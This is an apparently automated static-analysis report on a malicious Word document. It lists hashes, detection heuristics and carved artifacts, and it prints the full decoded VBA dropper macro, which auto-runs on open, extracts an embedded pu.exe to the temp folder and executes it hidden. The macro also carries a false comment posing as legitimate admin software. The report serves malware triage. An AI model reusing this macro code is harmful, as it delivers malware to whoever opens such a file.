Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e28f1b5f5738a3c…

MALICIOUS

Office (OLE)

240.5 KB Created: 2015-10-29 21:16:00 Authoring application: Microsoft Office Word First seen: 2015-11-28
MD5: e12daf971ec1e2ef13f6d146d81d3d4e SHA-1: 778e02193a11b3670145eef9d065fd2f05bce040 SHA-256: 7e28f1b5f5738a3ce1e38dc80a169cf0850b5f22015bd9555f7ad1d48b9f7b47
514 Risk Score

Heuristics 16

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ddaudsb = Shell(qwdijksd, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set dpwFFFksa = CreateObject("Word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    SNP = "" + Environ$(BBDHWHDAS) & ABYQWGHDJA
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2284 bytes
SHA-256: 41cbd1d01fbd251da86da0827f7cca6ba22494eba441162c26d71a1bc509ed08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'==========================================================================================
' Legal
' Macros Software for system administrators for installing new software by sending
' doc files with macros for their client.
' Diverse Lynx LLC - USA
' (c) 2015 All rights reserved
' US Office 300 Alexander Park
' Suite #200
' Princeton, NJ 08540
' Using this macros without our permission is illegal!
'==========================================================================================

Sub AutoOpen()
    BYHQGJDHASBD = "K Lajskdy&SAY di;salkd a;sdj"
    Filani
End Sub

Sub Filani()
    QWHDJKASDH = "YQW d8wqydy aisuy*& AYysanmdn,am asd"
    Makavata
End Sub

Sub Makavata()
Dim TEX As String, haa As Integer, HBDS As Date
ABYQWGHDJA = "\"
BBDHWHDAS = "TE"
haa = Sgn(CInt(Hour(Now)) - 25)
On Error Resume Next
BBDHWHDAS = BBDHWHDAS & "MP"
SNP = "" + Environ$(BBDHWHDAS) & ABYQWGHDJA
HUQS = "."
FEFE = HUQS & Chr(102 + haa) + "xe"
DEDE = HUQS + "rt" & Chr(102)

TCA = SNP + "322" + DEDE
TCB = SNP + "311" + DEDE
TEX = SNP + "pu" & "" + FEFE


JoFidda (TCA)
JoFidda (TCB)
Malfsad (2)
Set dpwFFFksa = CreateObject("Word.Application")
dpwFFFksa.Visible = False
dpwFFFksa.Documents.Open (TCA)
Malfsad (2)
HQUDHSA = Faktal(TEX)
Malfsad (1)
dpwFFFksa.Quit
Set dpwFFFksa = Nothing
End Sub
Public Function JoFidda(Name As String)
    ActiveDocument.SaveAs FileName:=Name, FileFormat:=wdFormatRTF
End Function
Sub Workbook_Open()
    POQJIODAKLSD = " askdh A*S*(udoasd;asld;ask;"
    Makavata
End Sub

Sub Malfsad(Lotosd As Long)
Dim Massdn As Long
Massdn = Timer + Lotosd
Do While Timer < Massdn
DoEvents
Loop
JIQJABSD = "kasjhdjkash " & "akshd kjhSAi7dhHsa"
End Sub

Public Function Faktal(qwdijksd As String)
Dim ddaudsb As Variant
ddaudsb = Shell(qwdijksd, 0)
SKDJIWDASSD = "lasjkd klasd9j8u a*(Syd asjw"
End Function

Sub Auto_Open()
    Makavata
    QNJAKSNDW = "asjkd klasdKNA SDHjkhasd8yasdiu "
End Sub
embedded_office_00005050.exe embedded-pe Office MZ+PE at offset 0x5050 225712 bytes
SHA-256: fbd43ad5d225fec3f55fdcbe339ab5fa9fdfe4c9fc45b0f4a5e4f6958ef09b12
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1507992525/Ole10Native 203474 bytes
SHA-256: 8983b19df1970e466cb52263ffbd98e5775747df2514c477a1050d6659ad4e92
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.54, consistent with packed or encrypted content.
ole10native_00_pu.exe ole-package-payload OLE Ole10Native payload: ObjectPool/_1507992525/Ole10Native; display_name=pu.exe; full_path=C:\Users\M\AppData\Local\Temp\pu.exe; temp_path=; def_file= 203264 bytes
SHA-256: aa6f1f2db2afd7f37f1b2133881bdbc0fdd7515cbde8749bf21d1fcabe372982
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.54, consistent with packed or encrypted content.

Open this report in the interactive analyzer, or submit your own file for analysis.